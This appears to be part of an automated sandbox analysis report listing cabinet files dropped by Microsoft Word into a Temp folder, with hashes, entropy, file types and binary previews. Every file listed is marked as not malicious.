SSDEEP:	768:ktH7oN/HbwiV+M+4Jc+5UrT3czi5uOHQA8Pi6DxUR/WTZIy:87sPEANXJc+eTMsuzP7DmN0ZIy
MD5:	E033CCBC7BA787A2F824CE0952E57D44
SHA1:	EEEA573BEA217878CD9E47D7EA94E56BDAFFE22A
SHA-256:	D250EB1F93B43EFB7654B831B4183C9CAEC2D12D4EFEE8607FEE70B9FAB20730
SHA-512:	B807B024B32E7F975AED408B77563A6B47865EECE32E8BA993502D9874B56580ECC9D9A3FEFA057FDD36FB8D519B6E184DB0593A65CC0ACF5E4ACCBEDE0F9417
Malicious:	false
Preview:	MSCF.....:......L............................:...?...................9......................mlaseventheditionofficeonline.xsl.L...............Content.inf.N.#.....[...>..9..3c.5...F.B.]Y.3..%d.8...v;....~Y.L.=..v..m.g...\|K.B....$......s.......#CdE.p.p..@...j.Nl2'...L..N.G:-V:.d.....i..M........mK.w.....\W.<.`..b$.!..!3..rT.A..#.).;KZ...a.-..j&e`R.~7dIRS.I..f.ff....}.}....^[wo.uw..i.m7......v$.I..n....-.Z.M5...iH..Ea..., [..0.L...DH..." ..... .@...H.@..+...}.......^..'.4.tHa..f].gV..~.7V.....C..).(.U"..f.@l..j'..%\.u.UU.....9<13...5..=........./..Z..{..-.L].+Y.fL.<EJ.q..!.j....W..]E./.~Y>...GgQ..-....Q.C..5..T+...fO. .)..~.7..Y....+..U=.e..8w.m...._..S..v.d.* ......S3z.X)......u...t.......i.;.a...X.Ji....g.3.!.O.....T.f6..[U....O..Z.X.q.G....?.k]..?...8.u.;].8y.T.9D..!?R....:........3+.P.....7?m}..............1...y3.g.\c.ks^;?.f.U5...U.j....E.N.}.!.......).R1....~.....R.....3.J.f...l..E^:...&_..%..v...^..E...rC..O....M.#..<..H..bB.+.W..

C:\Users\user\AppData\Local\Temp\cabDB11.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 14813 bytes, 2 files, at 0x4c "iso690nmerical.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 7 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	30957
Entropy (8bit):	7.808231503692675
Encrypted:	false
SSDEEP:	384:rKfgT03jNkAFbgUQWtxq9OGh1bBkd/1MVHb5iVOdMgbA8E0GftpBjEl8tFLrHRNF:r303jOrUQAkfhopWHbA8Pi6l8zuUIq
MD5:	D3C9036E4E1159E832B1B4D2E9D42BF0
SHA1:	966E04B7A8016D7FDAFE2C611957F6E946FAB1B9
SHA-256:	434576EB1A16C2D14D666A33EDDE76717C896D79F45DF56742AFD90ACB9F21CE
SHA-512:	D28D7F467F072985BCFCC6449AD16D528D531EB81912D4C3D956CF8936F96D474B18E7992B16D6834E9D2782470D193A17598CAB55A7F9EB0824BC3F069216B6
Malicious:	false
Preview:	MSCF.....9......L............................9...?...................8......1P..............iso690nmerical.xsl.................Content.inf...A@...[...5.....33.E...P.../..........5sv.]3srm8.T.=.......}.v.T.. ..4IH.r.%Z.(.q.\+K..[,....E....A......#CEF..}p..Y/s$...YKI.#M.?.t.1#C....I..v.vn...-...v7../S.m.Ma.....!.Y....4.......3.3....c&R9..%......(J..BDMI.>7J.....".....}.w.}w.wg.v...^.n.{....{f.mlI..%.#..I..S....D..QJ U......4........K.(@....DH.....}...8;..z...&0%e..G.OAM..x.3......\....zS9....}......89.B...e.W.p{;.....m.m3...}....../...q.~..;.,..".j.g..^N............iC.../\|...g.=..9.Q].Gf.....QA....74..v.....9.n[......0.}..jo{y./.2..Ym......;u...b.(Jz^.....~..uM...{s../..#.)n2..S.S.c..6)U.V....!.'R.......P.S.D..S.p/......D.......{......?.u.",...Mp._....N..+..=Y#..&0w....r.......$.xwC......P.e7.>O....7....].y%q^S'.....C.`.?..}Q..k../u.TK...y........S...{T.?......[.H.'L..AS.Y.\|..b...J.H-.^U>'9..uD[.".b[.l.......o..6.L).h.B0RJa.b..\|m:.):......F

C:\Users\user\AppData\Local\Temp\cabDB23.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 15461 bytes, 2 files, at 0x4c "gostname.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 8 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31605
Entropy (8bit):	7.820497014278096
Encrypted:	false
SSDEEP:	384:7SpOUxgQ9gFodHZktfHa2TSmcAg76j8/xorK0JoZgbA8E0GftpBjE2PzFLrHRN7S:OngHltf7Bcp/xoB3A8Pi625D8RA54
MD5:	69EDB3BF81C99FE8A94BBA03408C5AE1
SHA1:	1AC85B369A976F35244BEEFA9C06787055C869C1
SHA-256:	CEBE759BC4509700E3D23C6A5DF8D889132A60EBC92260A74947EAA1089E2789
SHA-512:	BEA70229A21FBA3FD6D47A3DC5BECBA3EAA0335C08D486FAB808344BFAA2F7B24DD9A14A0F070E13A42BE45DE3FF54D32CF38B43192996D20DF4176964E81A53
Malicious:	false
Preview:	MSCF....e<......L...........................e<...?...................;......................gostname.xsl."...............Content.inf.[.......[...>..\|..32.E..o`h....W.>.^...v..5...m.w.$.U..U......m.mu...'4....m`.9F.. ...I..PTS..O.D...GM#...#CUE.`.`%n..N...G,.~..+.6cv.L...G.m.Y..vy.....Yh9/.m,..wtw..;....Ka.a.{.\...'.....<X....%)...G..d......R./..4$..32..@....f.h....w..ov.}w..[.....{.v.......dr..&w#G..$3.zI&f..(C..L.z5J... .`...!.!4. ...!.` .$........w.J.X7.w_..@.w..f]=.C.....I-....s.s_.x...~..A... ...z...nM..;....Z....vt....6...~.w.....*x.g.h.T.J..-.3=....G.n..ti.A...s...j$.Bf..?......6.t.<j...>.."....&=BO?w.uN.o.t.-r..K....>C..^G..p...k...>.xZ.[fL..n.."].W#...\|.i.0W.q.F: ..<#w......w....s....."...n.qu.../rI.....q....P~.B..\|b?.N.}..MyO..q..:q.7..-~.xa.S...\|.....X.....g.W.3.mo..yy.GG.s>....qy....r........#.F.P..A.......A....b.2..14.8.i6..w.S...v~{0z.<.Z...^!.;2mSV.i....{...U...+...r.;...h.++..T6.a...$....j5F+..1t....b......\|.Q\d-.S..2... ......Y..A...s....

C:\Users\user\AppData\Local\Temp\cabDB24.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 14939 bytes, 2 files, at 0x44 "CircleProcess.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	31083
Entropy (8bit):	7.814202819173796
Encrypted:	false
SSDEEP:	384:0XbSq3W46TVZb5fOFo1HtZwGqtRT44hS+nyBoiuFgbA8E0GftpBjEcBFLrHRN7Ku:0XpOflfOFo1DMr/iuuA8Pi6cfKjW66b
MD5:	89A9818E6658D73A73B642522FF8701F
SHA1:	E66C95E957B74E90B444FF16D9B270ADAB12E0F4
SHA-256:	F747DD8B79FC69217FA3E36FAE0AB417C1A0759C28C2C4F8B7450C70171228E6
SHA-512:	321782B0B633380DA69BD7E98AA05BE7FA5D19A131294CC7C0A598A6A1A1AEF97AB1068427E4223AA30976E3C8246FF5C3C1265D4768FE9909B37F38CBC9E60D
Malicious:	false
Preview:	MSCF....[:......D...........................[:...?...................A..............CircleProcess.glox......A..........Content.inf......9.B[.....@........!...(A.D..K.W.wwpwJj\.K\w...]...K.!.....@0..?,...}won`... ....&I..(;.....X.u..^.R..^......_:....W>f\....T...B..i`\|q.....................i.5....(........0q7@.@..F...?A.`.....,L.......5.+../56..a`....1C5..9.I.N.......@\|<+./......... .ya....>l.,t.......y.y5...FF.,F..jCA...SA..H....8u.L..eM?.w8.......~^.Mr.[...(.._......u..+.......j..TJ.:<.3.X`...U.bz...[...r-...[...+..B.......}...\'.i...C.8.B_...c.8</..s.....VQ.Y..m.,.j~;y ...2.5.VQ...K..jP..2..r-...HA...."..9).7.....5.E._.wq.......!.+n+.f...s].4M'.1&...5....4..k..NV.M1.7`a..<.P4.\|.mrd.i.R...u...............v.}..n\.C$.....[..2c.^..W..g..._.0.C.o....%.z.!.;.@y.`\..UO#i.)...Q...........L. .\:_..H.{.W...@...T.4..A.a...Wo?o$4.....#.V.s8M.Gh..p?A...Y.....)...........r\|...!..o9...8..%#.[....;...3<Z...g....~.Z....,.(...qA.'x#..xC..@...HOuW.[.[....c.........

C:\Users\user\AppData\Local\Temp\cabDB25.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 4410 bytes, 2 files, at 0x44 "PictureFrame.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	20554
Entropy (8bit):	7.612044504501488
Encrypted:	false
SSDEEP:	384:zEAH676iPi8+IS5iqn7G8E0GftpBjExDxIHFLrHRN7Ke/ll7PK/pGaz6:zEhG8+ISrG8Pi6xDxCKoIGaz6
MD5:	486CBCB223B873132FFAF4B8AD0AD044
SHA1:	B0EC82CD986C2AB5A51C577644DE32CFE9B12F92
SHA-256:	B217393FD2F95A11E2C594E736067870212E3C5242A212D6F9539450E8684616
SHA-512:	69A48BF2B1DB64348C63FC0A50B4807FB9F0175215E306E60252FFFD792B1300128E8E847A81A0E24757B5F999875DA9E662C0F0D178071DB4F9E78239109060
Malicious:	false
Preview:	MSCF....:.......D...........................:....?..................................PictureFrame.glox.................Content.inf........[.... '.q..@.........<./..+./. ...."o.o./..{^a.7^.D.HA....^J... ...........T%q..b...+pz.n.=....jT.+M..=H..A...py.3.........H...N...[..%..~....>.%....3.r...wx.....0.....7..94..2..45..7f.......D.. ...[...f.:H..../N..4.....8.....:x.I....u\|.`."...\..N..%.M#..^v$.*....T.m.....?.-.wki.X..8..F.G..Y.^8...-....+.&.+&.No...e!.#.8.....YF.......<w.....=.Q.S..7....MW....M..9A.3..c..L....\|.E-Y....]n".\|....b9..l@.d.T...a.f...~.&k.[..yS..q..]L}..)w.....$.@..v...[9..X....V...a.NK....m9.5.....Kq.;9`.U.e...8.<..)Y.H........z.G...3n.yWa.g.>.w!e.B8:......f..h..z....o.1<.RT..WK...?g .N..+..p.B.\|...1pR_......@...a....aA......ye..8...+M.l..(.d..f.;....g........8R.\.w.:ba....%...\|p....`lrA.\|....a.U.m=ld......7....#..?Dq..D.....(.5.K.a..c.G..7..]hF..%:}......}J.j$.....4...l];..v>.&j........Y.vk..$1.@X$...k...9..?...z..![..../...).a.=....aZ^.3?....

C:\Users\user\AppData\Local\Temp\cabDB26.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 7453 bytes, 2 files, at 0x44 "pictureorgchart.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	23597
Entropy (8bit):	7.692965575678876
Encrypted:	false
SSDEEP:	384:y6aR//q0bJi/Uj+957G8E0GftpBj/4YOFLrHRN7LxhKll7PK/ph:y6I/Li/UjmVG8PiZ4YsLxh6Ih
MD5:	7C645EC505982FE529D0E5035B378FFC
SHA1:	1488ED81B350938D68A47C7F0BCE8D91FB1673E2
SHA-256:	298FD9DADF0ACEBB2AA058A09EEBFAE15E5D1C5A8982DEE6669C63FB6119A13D
SHA-512:	9F410DA5DB24B0B72E7774B4CF4398EDF0D361B9A79FBE2736A1DDD770AFE280877F5B430E0D26147CCA0524A54EA8B41F88B771F3598C2744A7803237B314B2
Malicious:	false
Preview:	MSCF............D................................?..................................pictureorgchart.glox.................Content.inf.W..y....[.............../.jC....U.CUUUTU.5...jjPU..MP....T..0....o0.......Y.=....P.({.3.p..."pA!>r../3.q..7...........!...TO....(..%......6...3E?....~......CZmndse.Qy....p....h....=.:5...F..%.E.&.v.`I~. ..%._..b]..Y..Q..R.........nN.q8c..a..L..X/.M...PP.q..SpZ.K]>D"Pf..B.c....0..\|I.Q.,.g/..Kev.../..=......w..}3.....(....+#T.....K`N.u..Z.....rriK.(...(...6.<R.%.]..NX..b..].C.u....++......Ia.x. .7....J.#............w>....7..R...H>....@%....~.yA.......~.UB... .P..$...-...v.....=M."....hw..b....{.....2pR....].C..u@=G."Y..;..gc/N.N.YB.Z.q.#....$....j.D..P..!.)S.{..c....&'E.lJ%.\|O.a...FG.\|.....A..h.=c7.)d.5...D...L...IQ..TTE.NL-.*M..>..p0.`......m..,.w#rZ..wR\@.Wn..@Q...}..&...E...0K.NY....M.71..`.M./:.>..._L..m...,U.l....._fi...nj9..,..w.s.kJ.m.s.M.vmw.!.....B.s.%.-').h.....)c.l....F..`3r...-.....0..7..&N.....n.#H...<7

C:\Users\user\AppData\Local\Temp\cabDB27.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 27509 bytes, 2 files, at 0x4c "Equations.dotx", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 2 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	43653
Entropy (8bit):	7.899157106666598
Encrypted:	false
SSDEEP:	768:+bjfeR1OOZvv439PlDe5/QzhgFSo0UEDmJwkqTA8Pi63Bsgn66w:IM3CN9ZzhFbUUwaP73BsB6w
MD5:	DA3380458170E60CBEA72602FDD0D955
SHA1:	1D059F8CFD69F193D363DA337C87136885018F0F
SHA-256:	6F8FFB225F3B8C7ADE31A17A02F941FC534E4F7B5EE678B21CD9060282034701
SHA-512:	17080110000C66DF2282FF4B8FD332467AF8CEFFA312C617E958FDFEBEE8EEA9E316201E8ABC8B30797BB6124A5CC7F649119A9C496316434B5AB23D2FBD5BB8
Malicious:	false
Preview:	MSCF....uk......L...........................uk...?...................j......r...............Equations.dotx.................Content.inf.94v..R..[..... .............v........." Vw.w..r.....D.V5.p...W......b;....\x.....f.-...............l.....L.F....@..BnF.I.....%1..0....&.X.......X-.\.\.>..A....@..:...N .G./.Sp.A0.0.`.....q....b... ......S.{K...V....J............>\....\.E.#.,$.hxu.F.Fo....<...{..6../..#..l>d...w...&...S.....L.].....^..L......;~l.......qw.o. .....v.u.W`.4Z.A.....dC..Q)9.c..qgtfJ..G.(.J....q4V.).mK4;..zY..b.5&....V...0X.].Z..U.Lx..^..:8XQh.....7yy.._5............c.W...c...xY..%..G.$....kg^.1g.9.....z^.'...q."..K)a[.pW .LS.:Q8.....2..._q.os....y...d11..m....8.,.^.4_?i.e.u.,....._y.....zZZA.D.D<..+....{....Sfnv...t.....0...vV..y.r..3..%.<.t......;.h.wh.-.g.>..5...R...........y..]^..R..<...>$~.'...kk.n..H.EN.eQ.Q.O./='....)t.l0,/].....FNN......?...&..'.eS....K.K.v".^L..x=.^......1x\|....=}@...B.kq;_a..C.q?..Y9.v......Q..u.G..V.

C:\Users\user\AppData\Local\Temp\cabDB39.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 30269 bytes, 2 files, at 0x4c "Text Sidebar (Annual Report Red and Black design).docx", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 2 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	46413
Entropy (8bit):	7.9071408623961394
Encrypted:	false
SSDEEP:	768:WaxA0CH65GY3+fvCXCttfR8JEBrkquwDn+QV5V+vNWBatX/xG8Pi65sMuMjvU+mQ:hne65GYOfKXMSEBrBtDnzFAI4JxP75sM
MD5:	C455C4BC4BEC9E0DA67C4D1E53E46D5A
SHA1:	7674600C387114B0F98EC925BE74E811FB25C325
SHA-256:	40E9AF9284FF07FDB75C33A11A794F5333712BAA4A6CF82FA529FBAF5AD0FED0
SHA-512:	08166F6CB3F140E4820F86918F59295CAD8B4A17240C206DCBA8B46088110BDF4E4ADBAB9F6380315AD4590CA7C8ECDC9AFAC6BD1935B17AFB411F325FE81720
Malicious:	false
Preview:	MSCF....=v......L...........................=v...?..................5u......................Text Sidebar (Annual Report Red and Black design).docx.v...............Content.inf..C,.zd..[............... .w.....b...wwww]r..W\ww...... .hh...........o.nz.....Ku.7..-.oH...h;.N..#.._.D,}......!Q$..Un.tI11..$w.r3... ..p...=.1....""..n.../....h.A...Y..c,.Q.,......",..b.1.w..$.....l../;..J.....~.. ....+.R#....7.-..1.x.feH.@.......u...(.DQ%.wL.N\|.xh...R..#....C...'X.m.....I{W.....5.C.....\....z.Y.)w..i...%....M..n.p.....{..-G9..k.bT.6........7....).....6..ys.....R.e.....0.Xk`.3..X\xL..4J"#.f...:....r..2..Y.uW..052.n.+ ..o..o..f&u.v.&9y.P..6.K..in.DU.#.~....4i..6;.5.w..i...g.(....../..0Vh...C..//....W..:w......7.6....]....4.9...sL.0k...zHh..2N.H.....]..(.x.:..........Y.+...-.....&.*^..Q.sW...v..w.....k.L.e.^.W4iFS..u.....l.g'...b~:Zm...S.2.\|......5S..=.............l.../\|....G\|.9 ..#.q...W.Q...G=.."W..'.6....I....D._.{.g.47....V.1._..<?....m............)..T.

C:\Users\user\AppData\Local\Temp\cabDB3A.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 17466 bytes, 2 files, at 0x4c "chicago.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 10 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	33610
Entropy (8bit):	7.8340762758330476
Encrypted:	false
SSDEEP:	768:IlFYcxiahedKSDNAPk5WEEfA8Pi6xnOKMRA58:2JitdKsNAM5WBDP7xOKMq58
MD5:	51804E255C573176039F4D5B55C12AB2
SHA1:	A4822E5072B858A7CCA7DE948CAA7D2268F1BB4B
SHA-256:	3C6F66790C543D4E9D8E0E6F476B1ACADF0A5FCDD561B8484D8DDDADFDF8134B
SHA-512:	2AC8B1E433C9283377B725A03AE72374663FEC81ABBA4C049B80409819BB9613E135FCD640ED433701795BDF4D5822461D76A06859C4084E7BAE216D771BB091
Malicious:	false
Preview:	MSCF....:D......L...........................:D...?..................XC.....................chicago.xsl. ...............Content.inf.!..B...[...H."m..3C.6...WP!i/Z..vn._...^omvw+...^..L.4o...g..y......^..x...BH.B.K....w.....F........p ./gg.h.0I',.$..a.`....^..vi..mw..........K....oQ............P...#...3.......U(.=...q.~?..H..?.'I4'.......X...}w.vw.....f.n..f{3.....-....%dK&q..D.H.Z..h-..H.[$ %.."..e....1...$.............'.....B..%..4...&`S!DQ...M.......N~............S..'....M..4E.^..dej..i..+.`...6F%sJ....Q..d.(.s.Z...U-5Eh.s.CK...K..X$......j..T.?.`.\|...=..R...-7......TU.....7a...&I.noOK\|.W.R-+S.d..rR.....{h.Y...)..xJ..=.XM..o...P'.I4m..~I..C..m.....f.....;{Mzg+Wm.~...z...r-.....eK...lj:^.1g5...7.h(T"..t?5......u.....G.Z<..sL.\{...8=t...Z...'tps.:...\|....6.....S..X...I...6l.M.....aq.;YS....{:.&.'.&.F.l...\.[L.%.so\.v.Lo...zO.^^...p..9k...).CC..F0>L...VUE4.......2..c..p.rCi..#...b.C@o.l.. E_b..{d...hX.\_!a#.E.....yS.H...aZ...~D3.pj: ss?.]....~

C:\Users\user\AppData\Local\Temp\cabDB3C.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 9170 bytes, 2 files, at 0x44 "InterconnectedBlockProcess.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	25314
Entropy (8bit):	7.729848360340861
Encrypted:	false
SSDEEP:	384:75V23GNhfG/YvmBqWDP7G8E0GftpBjEB1vrFLrHRN7mKll7PK/pRU0:LS/Yvc7TG8Pi6BLm6IS0
MD5:	C47E3430AF813DF8B02E1CB4829DD94B
SHA1:	35F1F1A18AA4FD2336A4EA9C6005DBE70013C7FC
SHA-256:	F2DB1E60533F0D108D5FB1004904C1F2E8557D4493F3B251A1B3055F8F1507A3
SHA-512:	6F8904E658EB7D04C6880F7CC3EC63FCFE31EF2C3A768F4ECF40B115314F23774DAEE66DCE9C55FAF0AD31075A3AC27C8967FD341C23C953CA28BDC120997287
Malicious:	false
Preview:	MSCF.....#......D............................#...?...................#..............InterconnectedBlockProcess.glox......#..........Content.inf...<.:#.$[......O..........5f.P.5CU..6..jT..U..U..UM.T.........h................-... .......6...`.....G...........'.,DN:........... "..4..1u.....%.u..{{,....@lp..}..`.......Z...K.....Z..... Z4.<?..C.BF.....k.!Hl...]...Tvf..g....)...vny6.'..f....Z.R.`.......+....!..!.....:..4fj....."q..f..E..^!k.....M.c....R...B......g...~.........o.'.7,.e.,..7.R.e,(.+..+:....Q....f...P.H.I..U.....Jl...l...z.]7...C...<...L.,..@...i.{..e]K...2..KRW..7.-'.G.l!.n7..J.v.C...%/.....q...@..l..e..$..N..sg8]oo.(q(_.?.X.s...Ua..r0...Rz.o.eT.j...b..}",n.qou..M.[.;%../c.x.4.z.2.U.]..D...h...-R.$.=\3..P......N.mP......J...}BPn...g]d.5k..C.ee.ml...\.g...[.......<..6$.%.I#S9..I...6.i........_..P.n....c$.3..zw.hF......_{.+...o...[.&........&...M..m.....;....0....D7...4nQ.=/.._`._.nh.D.m..h.+....8..p..q.4.w.\...iy...*...lN6F..c.

C:\Users\user\AppData\Local\Temp\cabDB3D.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 3749 bytes, 2 files, at 0x44 "TabbedArc.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	19893
Entropy (8bit):	7.592090622603185
Encrypted:	false
SSDEEP:	384:v3Zh3VlkpSIcgbA8E0GftpBjEmm3UFLrHRN7GYvlvQyUTL2mTAp:v31qp/A8Pi6mUqGGvU+mcp
MD5:	EF9CB8BDFBC08F03BEF519AD66BA642F
SHA1:	D98C275E9402462BF52A4D28FAF57DF0D232AF6B
SHA-256:	93A2F873ACF5BEAD4BC0D1CC17B5E89A928D63619F70A1918B29E5230ABEAD8E
SHA-512:	4DFBDF389730370FA142DCFB6F7E1AC1C0540B5320FA55F94164C0693DB06C21E6D4A1316F0ABE51E51BCBDAB3FD33AE882D9E3CFDB4385AB4C3AF4C2536B0B3
Malicious:	false
Preview:	MSCF............D................................?..................c...............TabbedArc.glox.....c...........Content.inf.;....Y.[.........B.....?.T..ZD...........^C...U.R<Z....z+.I.....Z..-.V...f.....lB..\P.....=.-p....w ...\.kD..x'v..T..A..............".8...d.........FD.ZL.h..T...bp.)9B.v..i..VX...&..\..7.s..qy...l........Rty.Y...rU..>.9...8....L..\.^x.kDU.\|TJ..{kN.G..E..$.kvy?.. mv......P..4.....q.1.6<u....e..dD...4.1E..Xi.5.=....1.P.c.K~S...YMO:.?..cL.g.tq\.(b1....E..0A.i..C...BT.m.S......:...}.&U..#QL..O.O../..K......=..........0a..O............BYP......>f.......iu...7.K..;QO~.t....%N.s.]>~#../7YN.....C..9.=cY.......y..U5.....,.....u.....#_..SG.`NR.....?..d.R.k.rX$...&.... ..h.4T.D^k-xA...............Hz..ep)e..4..P."fo Ne...o.....0n.Exr.........H..v...A.."..%)2......5...".}j.o8...E.HRQ;}.. .._L.+.jz....{.U..}...=B.o.^..vZ.:5.Z.M....y{\(...N..9...EB*MG...!N.vy..^...nE..2..@.;.4..C..t.4....h..O.8.=.m./...\|Lu.\|mCU..b.^.n39.h[M...%D{..w.1

C:\Users\user\AppData\Local\Temp\cabDB3E.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 5731 bytes, 2 files, at 0x44 "ThemePictureAlternatingAccent.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	21875
Entropy (8bit):	7.6559132103953305
Encrypted:	false
SSDEEP:	384:k73HRpZA6B3ulrnxtRT7G8E0GftpBjEdHqlFLrHRN7uhFlvQyUTL2m4c:k7XRgIkrG8Pi6dmuNvU+mp
MD5:	E532038762503FFA1371DF03FA2E222D
SHA1:	F343B559AE21DAEF06CBCD8B2B3695DE1B1A46F0
SHA-256:	5C70DD1551EB8B9B13EFAFEEAF70F08B307E110CAEE75AD9908A6A42BBCCB07E
SHA-512:	E0712B481F1991256A01C3D02ED56645F61AA46EB5DE47E5D64D5ECD20052CDA0EE7D38208B5EE982971CCA59F2717B7CAE4DFCF235B779215E7613AA5DCD976
Malicious:	false
Preview:	MSCF....c.......D...........................c....?..................................ThemePictureAlternatingAccent.glox.................Content.inf...3.....[.... .qq...........\<.^......o."......f.o...x.{..q..^.MH^...........{0.K....4pX.i...@6A4X.P.01d....'p.......zA.......... .......7.......a. `.=!@- ......>G.s.k~@.a.lfha:m....1...@.,G`....{....W..N..qs.......j.+TrsT.l.9..L...1+...d..-u..-.......).#u&...3......k.&C...DdZ.'.......8..<PF..r.eq.X6...u..v...s5.m.Q.l.G%.<.]....RV<...S..Dv..s.r.......dh.N.3-.Hf'.....3.GZ..E.kt.5......h...\|...?!.L....~.)..v....:2.../F.,....o.qi.i7..E.\|.mh.R_.@A.FO@i.....Feo...x.l...{E.\W9\|V...=#..3..(......tP.:i....Ox.U.N...%6...p.6&.....<zh.z.\|.<Z.?.k....y7m...F.Z$-.:.l.h...{T..7....?..T...d,r...z?../...`/Z......a.v@)....u......V..v.:.._.\|.'..[..O.s.OAt-."b.In"..I...J*.~H.:-...?..uV....dZ;z:.l.{.E.,.Q..i]:.0r.I.y..f...../j.wN...^R.....u....>..}....f.f...]A..C~;/....%..^#..N.a..........99.....`.....%..iS....S......$....)

C:\Users\user\AppData\Local\Temp\cabDB3F.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 6196 bytes, 2 files, at 0x44 "ThemePictureGrid.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	22340
Entropy (8bit):	7.668619892503165
Encrypted:	false
SSDEEP:	384:GByvLdFHny7G8E0GftpBjE8upFLrHRN778lvQyUTL2mm2y:Oy3HkG8Pi6887mvU+ma
MD5:	8B29FAB506FD65C21C9CD6FE6BBBC146
SHA1:	CE1B8A57BB3C682F6A0AFC32955DAFD360720FDF
SHA-256:	773AC516C9B9B28058128EC9BE099F817F3F90211AC70DC68077599929683D6F
SHA-512:	AFA82CCBC0AEF9FAE4E728E4212E9C6EB2396D7330CCBE57F8979377D336B4DACF4F3BF835D04ABCEBCDB824B9A9147B4A7B5F12B8ADDADF42AB2C34A7450ADE
Malicious:	false
Preview:	MSCF....4.......D...........................4....?..................1...............ThemePictureGrid.glox.....1...........Content.inf....K..5.[.... V.q......B.....?.h.i.J.D...Z...>.....i~...A...Z....H.hy.D..X.....>...L.I..`. z w0}.K`.C{h....W\../.U..p\%...B...;............9..8.^M.....].lP.p...\|..?..M....E..S.`..-n........Q'.'.o..C}=..?`.bQ...J"0f.. ....k3n..F.Pu..#...w].`<...."D.].-.#+):..fe..=<.M...4..s.q.f._.=.T.M..U.[R.kbw.,......t6_I...~.X..$_.q....}2..BR...).[...<.l.3........h%....2.$`>..hG...0.6.S......._3.d~1.c.2g....7tTO..F.D.f.Y..WCG.B..T....Gg&.U'....u.S/......&6w..[bc.4....R.e..f.,....l."........I....J.=~...$x.&2...+,-.;.v.'.AQ.fc...v._..rZ..TYR...g?..Z..!.3mP dj...../...+...q.....>..../...]P.z?DW&.p..GZ....R5n......,..]{].0m.9...o.{...e."...8VH....w"%;.g\.K..p.}....#r.u..l.vS...Y.7U.N-E@.....~....E...x.....C.......{NP....5Ymk.*._.K...Z...f..;.......b.....,._@B..\.S..d.'\rs..].}.5"XJU.J..'.zk}.+P.)C.X.?9sx.D....(K....P^N_D...Z.........

C:\Users\user\AppData\Local\Temp\cabDB40.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 6450 bytes, 2 files, at 0x44 "ThemePictureAccent.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	22594
Entropy (8bit):	7.674816892242868
Encrypted:	false
SSDEEP:	384:L7d2l8FbHaaIKbtv1gDISi8E0GftpBjEZRFLrHRN74bUll7PK/pd:LUlCIOt/8Pi6Zv4bMId
MD5:	EE0129C7CC1AC92BBC3D6CB0F653FCAE
SHA1:	4ABAA858176B349BDAB826A7C5F9F00AC5499580
SHA-256:	345AA5CA2496F975B7E33C182D5E57377F8B740F23E9A55F4B2B446723947B72
SHA-512:	CDDABE701C8CBA5BD5D131ABB85F9241212967CE6924E34B9D78D6F43D76A8DE017E28302FF13CE800456AD6D1B5B8FFD8891A66E5BE0C1E74CF19DF9A7AD959
Malicious:	false
